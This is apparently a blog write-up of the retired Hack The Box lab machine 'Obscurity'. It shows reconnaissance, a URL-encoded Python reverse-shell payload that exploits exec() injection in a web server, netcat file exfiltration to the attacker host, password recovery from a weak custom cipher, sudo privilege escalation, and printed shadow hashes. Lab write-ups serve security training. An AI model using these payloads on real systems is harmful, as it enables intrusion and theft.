Post

Hackthebox obscurity writeup

information@obscurity:~$

Column Details
Name obscurity
IP 10.10.10.168
Points 30
Os Linux
Difficulty Medium
Creator clubby789
Out On 30 NOV 2019
Retired on 9 MAY 2020

Brief@obscurity:~$

The real Journey of obscurity Starts with a wfuzz on the http port 8080 by the file SupersecureServer.py.And got the exact file,Reading the file and analyzing the python code we will get a www-data shell.There are bunch of files in the dir /home/robert/ and using the SuperSecureCrypt.py decrypt the key for the file out.txt and using the key decrypting the passwordreminder.txt and we got one more key that is credentials for user robert.There are Three methods to get root one is intended and another one is unintened , Both are related to that BetterSSH.py In unintended way we just remove/rename the BetterSSH dir and then make your own custom dir and place a file called BetterSSH.py containg code to spawn a bash shell and run the script.The intended way is to executing the original python script as root which is copying the shadow file and after getting hash of user root , crack it with john and we have root user pass.And there is one more intended maethod if your authenticate yourself while running the Python-Script and then you can run commands as root.

Summary@obscurity:~$

  • Wfuzz show a hidden dir called develop
  • Analyzing the python script that is using exec()
  • Crafting a payload and making a python script to execute the payload
  • Run the python script and got shell as www-data
  • Decrypting the out.txt using key as check.txt
  • Decrypting the passwordreminder.txt using the output we got
  • Login as robert
  • Got user.txt
  • the user robert can run BetterSSH.py as root
  • All used three methods are mentioned below
  • 1.Method Authorize yourself in the BetterSSH.py.
  • Now you can run commnads as root
  • 2.Method Run an infinite loop in to read every file in /tmp/SSH
  • Run the BetterSSH.py and grab the hash of rot user
  • 3.Method Rename the BetterSSH to something else and make your own BetterSSH dir
  • Make a file called BetterSSH.py in it containing the code to spawn a bash
  • Got root.txt

Pwned

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
➜  obscurity nmap -sC -sV -T4 -p- obscurity.htb -oA scans nmap.full -v
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-09 04:44 EDT
NSE: Loaded 148 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 04:44
Completed NSE at 04:44, 0.00s elapsed
Initiating NSE at 04:44
Completed NSE at 04:44, 0.00s elapsed
Failed to resolve "nmap.full".
Initiating Ping Scan at 04:44
Scanning obscurity.htb (10.10.10.168) [4 ports]
Completed Ping Scan at 04:44, 0.40s elapsed (1 total hosts)
Failed to resolve "nmap.full".
Initiating SYN Stealth Scan at 04:44
Scanning obscurity.htb (10.10.10.168) [65535 ports]
Discovered open port 22/tcp on 10.10.10.168
Discovered open port 8080/tcp on 10.10.10.168
SYN Stealth Scan Timing: About 3.80% done; ETC: 04:58 (0:13:05 remaining)
SYN Stealth Scan Timing: About 12.52% done; ETC: 04:52 (0:07:06 remaining)
SYN Stealth Scan Timing: About 24.42% done; ETC: 04:50 (0:04:42 remaining)
SYN Stealth Scan Timing: About 34.67% done; ETC: 04:50 (0:03:48 remaining)
SYN Stealth Scan Timing: About 44.90% done; ETC: 04:50 (0:03:05 remaining)
SYN Stealth Scan Timing: About 55.00% done; ETC: 04:50 (0:02:28 remaining)
SYN Stealth Scan Timing: About 65.73% done; ETC: 04:49 (0:01:50 remaining)
SYN Stealth Scan Timing: About 75.65% done; ETC: 04:49 (0:01:18 remaining)
SYN Stealth Scan Timing: About 88.22% done; ETC: 04:49 (0:00:36 remaining)
Completed SYN Stealth Scan at 04:49, 295.81s elapsed (65535 total ports)
Initiating Service scan at 04:49
Scanning 2 services on obscurity.htb (10.10.10.168)
Completed Service scan at 04:49, 25.66s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.168.
Initiating NSE at 04:49
Completed NSE at 04:50, 9.09s elapsed
Initiating NSE at 04:50
Completed NSE at 04:50, 0.00s elapsed
Nmap scan report for obscurity.htb (10.10.10.168)
Host is up (0.31s latency).
Not shown: 65531 filtered ports
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
|   256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_  256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
80/tcp   closed http
8080/tcp open   http-proxy BadHTTPServer
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Sat, 09 May 2020 03:51:23
|     Server: BadHTTPServer
|     Last-Modified: Sat, 09 May 2020 03:51:23
|     Content-Length: 4171
|     Content-Type: text/html
|     Connection: Closed
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>0bscura</title>
|     <meta http-equiv="X-UA-Compatible" content="IE=Edge">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta name="keywords" content="">
|     <meta name="description" content="">
|     <!-- 
|     Easy Profile Template
|     http://www.templatemo.com/tm-467-easy-profile
|     <!-- stylesheet css -->
|     <link rel="stylesheet" href="css/bootstrap.min.css">
|     <link rel="stylesheet" href="css/font-awesome.min.css">
|     <link rel="stylesheet" href="css/templatemo-blue.css">
|     </head>
|     <body data-spy="scroll" data-target=".navbar-collapse">
|     <!-- preloader section -->
|     <!--
|     <div class="preloader">
|_    <div class="sk-spinner sk-spinner-wordpress">
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: BadHTTPServer
|_http-title: 0bscura
9000/tcp closed cslistener
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.70%I=7%D=5/9%Time=5EB66EA0%P=x86_64-pc-linux-gnu%r(Get
SF:Request,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20Sat,\x2009\x20May\x20202
SF:0\x2003:51:23\nServer:\x20BadHTTPServer\nLast-Modified:\x20Sat,\x2009\x
SF:20May\x202020\x2003:51:23\nContent-Length:\x204171\nContent-Type:\x20te
SF:xt/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20html>\n<html\x20lang=\"e
SF:n\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<title>0bscura</title>\n
SF:\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\">\n\t<m
SF:eta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-sc
SF:ale=1\">\n\t<meta\x20name=\"keywords\"\x20content=\"\">\n\t<meta\x20nam
SF:e=\"description\"\x20content=\"\">\n<!--\x20\nEasy\x20Profile\x20Templa
SF:te\nhttp://www\.templatemo\.com/tm-467-easy-profile\n-->\n\t<!--\x20sty
SF:lesheet\x20css\x20-->\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/boot
SF:strap\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/font-aw
SF:esome\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/templat
SF:emo-blue\.css\">\n</head>\n<body\x20data-spy=\"scroll\"\x20data-target=
SF:\"\.navbar-collapse\">\n\n<!--\x20preloader\x20section\x20-->\n<!--\n<d
SF:iv\x20class=\"preloader\">\n\t<div\x20class=\"sk-spinner\x20sk-spinner-
SF:wordpress\">\n")%r(HTTPOptions,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20S
SF:at,\x2009\x20May\x202020\x2003:51:23\nServer:\x20BadHTTPServer\nLast-Mo
SF:dified:\x20Sat,\x2009\x20May\x202020\x2003:51:23\nContent-Length:\x2041
SF:71\nContent-Type:\x20text/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20h
SF:tml>\n<html\x20lang=\"en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<
SF:title>0bscura</title>\n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20con
SF:tent=\"IE=Edge\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=devi
SF:ce-width,\x20initial-scale=1\">\n\t<meta\x20name=\"keywords\"\x20conten
SF:t=\"\">\n\t<meta\x20name=\"description\"\x20content=\"\">\n<!--\x20\nEa
SF:sy\x20Profile\x20Template\nhttp://www\.templatemo\.com/tm-467-easy-prof
SF:ile\n-->\n\t<!--\x20stylesheet\x20css\x20-->\n\t<link\x20rel=\"styleshe
SF:et\"\x20href=\"css/bootstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet\
SF:"\x20href=\"css/font-awesome\.min\.css\">\n\t<link\x20rel=\"stylesheet\
SF:"\x20href=\"css/templatemo-blue\.css\">\n</head>\n<body\x20data-spy=\"s
SF:croll\"\x20data-target=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20s
SF:ection\x20-->\n<!--\n<div\x20class=\"preloader\">\n\t<div\x20class=\"sk
SF:-spinner\x20sk-spinner-wordpress\">\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Failed to resolve "nmap.full".
NSE: Script Post-scanning.
Initiating NSE at 04:50
Completed NSE at 04:50, 0.00s elapsed
Initiating NSE at 04:50
Completed NSE at 04:50, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 332.82 seconds
           Raw packets sent: 131254 (5.775MB) | Rcvd: 9071 (896.064KB)

Two ports 8080:http , 22:ssh are opened.Lets enumerate on the port 8080

Port 8080:http

Its serving a website

Port-80

Running gobuster doesnt show me anything

If we look at the bottom of the webpage there is a mention of SupersecureServer.py

SupersecureServer

The last line is saying Message to server devs: the current source code for the web server is in ‘SuperSecureServer.py’ in the secret development directory , We can conclude from this that there is a dir and inside the dir there is a file SuperSecureServer.py

But if we look at dir development , it doesnt even exist.

Development

Lets use wfuzz to find that hidden dir.

Wfuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜  obscurity wfuzz -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py  -w /usr/share/wordlists/wfuzz/general/common.txt --hc 404 

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzzs documentation for more information.

********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer                         *
********************************************************

Target: http://obscurity.htb:8080/FUZZ/SuperSecureServer.py
Total requests: 950

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000276:  C=200    170 L	     498 W	   5892 Ch	  "develop"

And we got a dir develop , Now we can go to http://obscurity.htb:8080/develop/SuperSecureServer.py.We have the full code of SuperSecureServer.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False
    
    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]
        
        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

Since the initial page mentioned that the current web-server is running on the above script so we need to figure out a way from the file to get something.

1
2
3
4
5
def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?

If we look at the function serveDoc there is a line

1
            exec(info.format(path)) # This is how you do string formatting, right?

Analyzing SuperSecureServer.py

The exec() function is used to execute system commands like os.system().And its executing the variable path after unquoting it and there a info variable which is holding a string and then the info.format(path) is executing the decoded value of the variable path

Making a script to get a shell

What i am going to do is crafting a payload for reverse shell in python which will be url encoded and then execute the payload by obscurity.htb:8080/payload .I Just made a python script that will url encode the payload and then execute it

Payload

1
'\''+'\nimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])\na=\''

0xprashant.py

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import urllib
import os

url = 'http://obscurity.htb:8080/'

path =  '\''+'\nimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])\na=\''

url = url +  urllib.parse.quote(path)
print (url)
command = "curl " + url
os.system(command)

Getting shell as www-data

If i run the script 0xprashant.py

1
2
  obscurity python3 0xprashant.py 
http://obscurity.htb:8080/%27%0Aimport%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.14.10%22%2C1234%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3Bos.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%22/bin/bash%22%2C%22-i%22%5D%29%0Aa%3D%27

And on our netcat listener we got shell as www-data

1
2
3
4
5
6
7
➜  obscurity rlwrap nc -nlvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.168.
Ncat: Connection from 10.10.10.168:41296.
www-data@obscure:/$ 

Privilege escalation to robert

There is one valid user in /home dir, and its robert and Fortunatly we have read permissions to the dir

1
2
3
4
5
6
www-data@obscure:/home$ ls -la
ls -la
total 12
drwxr-xr-x  3 root   root   4096 Sep 24  2019 .
drwxr-xr-x 24 root   root   4096 Oct  3  2019 ..
drwxr-xr-x  7 robert robert 4096 May  9 07:28 robert

So we can read the content of the dir robert……

1
2
3
4
5
6
7
8
9
www-data@obscure:/home/robert$ ls -l
ls -l
total 24
drwxr-xr-x 2 root   root   4096 Dec  2 09:47 BetterSSH
-rw-rw-r-- 1 robert robert   94 Sep 26  2019 check.txt
-rw-rw-r-- 1 robert robert  185 Oct  4  2019 out.txt
-rw-rw-r-- 1 robert robert   27 Oct  4  2019 passwordreminder.txt
-rwxrwxr-x 1 robert robert 2514 Oct  4  2019 SuperSecureCrypt.py
-rwx------ 1 robert robert   33 Sep 25  2019 user.txt

There are couple of files one is SuperSecureCrypt.py . The script is following

SuperSecureCrypt.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import sys
import argparse

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i',
                    metavar='InFile',
                    type=str,
                    help='The file to read',
                    required=False)

parser.add_argument('-o',
                    metavar='OutFile',
                    type=str,
                    help='Where to output the encrypted/decrypted file',
                    required=False)

parser.add_argument('-k',
                    metavar='Key',
                    type=str,
                    help='Key to use',
                    required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')

args = parser.parse_args()

banner = "################################\n"
banner+= "#           BEGINNING          #\n"
banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
banner+= "################################\n"
banner += "  ############################\n"
banner += "  #        FILE MODE         #\n"
banner += "  ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
    print("Missing args")
else:
    if args.d:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Decrypting...")
        decrypted = decrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(decrypted)
    else:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Encrypting...")
        encrypted = encrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(encrypted)

The box name should be Python To be honest lol XD, I mean here is Python Everywhere.

passwordreminder.txt

1
2
3
www-data@obscure:/home/robert$ cat passwordreminder.txt
cat passwordreminder.txt
´ÑÈÌÉàÙÁÑ鯷¿k

check.txt

1
2
3
www-data@obscure:/home/robert$ cat check.txt
cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct! 

out.txt

1
2
3
4
5
6
www-data@obscure:/home/robert$ cat out.txt
cat out.txt
¦ÚÈêÚÞØÛÝÝ	×ÐÊß
¦ÚÈêÚÞØÛÝÝ	×ÐÊß
ÞÊÚÉæßÝËÚÛÚêÙÉëéÑÒÝÍÐ
êÆáÙÞãÒÑÐáÙ¦ÕæØãÊÎÍßÚêÆÝáäè	ÎÍÚÎëÑÓäáÛÌ×	v

And i transfered all the four files to my machine , Since netcat is already installed we can use it to transfer files.

1
2
www-data@obscure:/home/robert$ cat SuperSecureCrypt.py | nc 10.10.14.10 2345
cat SuperSecureCrypt.py | nc 10.10.14.10 2345

And on my machine

1
2
3
4
5
6
➜  obscurity nc -nlvp 2345 >> SuperSecureCrypt.py
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2345
Ncat: Listening on 0.0.0.0:2345
Ncat: Connection from 10.10.10.168.
Ncat: Connection from 10.10.10.168:41880.

Like This i got all the four files to my machine.

Analyzing SuperSecureCrypt.py

The python script has two functions decrypt:Decryption and encrypt:encryption . And the files check.txt , out.txt , passowrdreminder.txt

1
2
3
4
5
6
7
8
9
10
11
➜  obscurity python3 SuperSecureCrypt.py -h
usage: SuperSecureCrypt.py [-h] [-i InFile] [-o OutFile] [-k Key] [-d]

Encrypt with 0bscura's encryption algorithm

optional arguments:
  -h, --help  show this help message and exit
  -i InFile   The file to read
  -o OutFile  Where to output the encrypted/decrypted file
  -k Key      Key to use
  -d          Decrypt mode

And we can supply many things …like infile , Outfile, and a key ,

From the check.txt I figured it out that out.txt is the output after encrypting the file check.txt, The content of check.txt will be the key and the infile will be out.txt

So we can use the decrypt function to get out.txt decrypted.

1
2
3
4
5
6
7
8
9
10
11
12
13
➜  obscurity python3 SuperSecureCrypt.py -i out.txt -k "$(cat check.txt)" -o output -d
################################
#           BEGINNING          #
#    SUPER SECURE ENCRYPTOR    #
################################
  ############################
  #        FILE MODE         #
  ############################
Opening file out.txt...
Decrypting...
Writing to output...
➜  obscurity cat output 
alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichai

And we got it !!

Now we have an another file called passwordreminder.txt , Now i can use the passwordreminder.txt as infile and the output file as the key.

1
2
3
4
5
6
7
8
9
10
11
12
13
➜  obscurity python3 SuperSecureCrypt.py -i passwordreminder.txt -k "$(cat output)" -o output2 -d
################################
#           BEGINNING          #
#    SUPER SECURE ENCRYPTOR    #
################################
  ############################
  #        FILE MODE         #
  ############################
Opening file passwordreminder.txt...
Decrypting...
Writing to output2...
➜  obscurity cat output2 
SecThruObsFTW

And we got the string to be decrypted. SecThruObsFTW

Login as robert

The string we got decrypted is actually the password for user robert

1
2
3
4
5
6
7
8
9
➜  obscurity sshpass -p SecThruObsFTW ssh robert@obscurity.htb 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

Last login: Sat May  9 07:08:30 2020 from 10.10.14.10
robert@obscure:~$ 

Got user.txt

1
2
3
robert@obscure:~$ cat user.txt 
e44--------------------------2d7
robert@obscure:~$

Privilege Escalation to Root

Method 1 (intended)

Now If we run sudo -l we can see that we can run the script BetterSSH.py as root……

BetterSSH.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:]
            break

    if salt == "":
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    salt = '$6$'+salt+'$'
    realPass = salt + realPass

    hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

Its a simple script that Ask the user to Authenticate the user and if the user is Authenticated we can run commands as root. since the two lines saying everything

1
2
cmd = ['sudo', '-u',  session['user']]
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

Lets get started our first method

Run the script as root

1
2
3
4
5
6
7
robert@obscure:/tmp$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: robert
Enter password: SecThruObsFTW
Traceback (most recent call last):
  File "/home/robert/BetterSSH/BetterSSH.py", line 24, in <module>
    with open('/tmp/SSH/'+path, 'w') as f:
FileNotFoundError: [Errno 2] No such file or directory: '/tmp/SSH/nLuohR80'

So…here i got a error that the Directory SSH Doesnt exist…lets make it

1
robert@obscure:/tmp$ mkdir SSH

Run the script again

1
2
3
4
robert@obscure:~$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: robert
Enter password: SecThruObsFTW
Authed!

Now we are Authed! Now..we can run any commands by -u root command

1
2
3
4
5
robert@Obscure$ -u root whoami
Output: root


robert@Obscure$

Shadow file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
robert@Obscure$ -u root cat /etc/shadow
Output: root:$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1:18226:0:99999:7:::
daemon:*:18113:0:99999:7:::
bin:*:18113:0:99999:7:::
sys:*:18113:0:99999:7:::
sync:*:18113:0:99999:7:::
games:*:18113:0:99999:7:::
man:*:18113:0:99999:7:::
lp:*:18113:0:99999:7:::
mail:*:18113:0:99999:7:::
news:*:18113:0:99999:7:::
uucp:*:18113:0:99999:7:::
proxy:*:18113:0:99999:7:::
www-data:*:18113:0:99999:7:::
backup:*:18113:0:99999:7:::
list:*:18113:0:99999:7:::
irc:*:18113:0:99999:7:::
gnats:*:18113:0:99999:7:::
nobody:*:18113:0:99999:7:::
systemd-network:*:18113:0:99999:7:::
systemd-resolve:*:18113:0:99999:7:::
syslog:*:18113:0:99999:7:::
messagebus:*:18113:0:99999:7:::
_apt:*:18113:0:99999:7:::
lxd:*:18113:0:99999:7:::
uuidd:*:18113:0:99999:7:::
dnsmasq:*:18113:0:99999:7:::
landscape:*:18113:0:99999:7:::
pollinate:*:18113:0:99999:7:::
sshd:*:18163:0:99999:7:::
robert:$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/:18163:0:99999:7:::

Method 2 (intended)

if we read the content of the file BetterSSH.py we can see that its reading the /etc/shadow file and putting it in a random file generated. in the dir /tmp/SSH/

1
2
3
4
5
6
7
8
9
10
11
    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

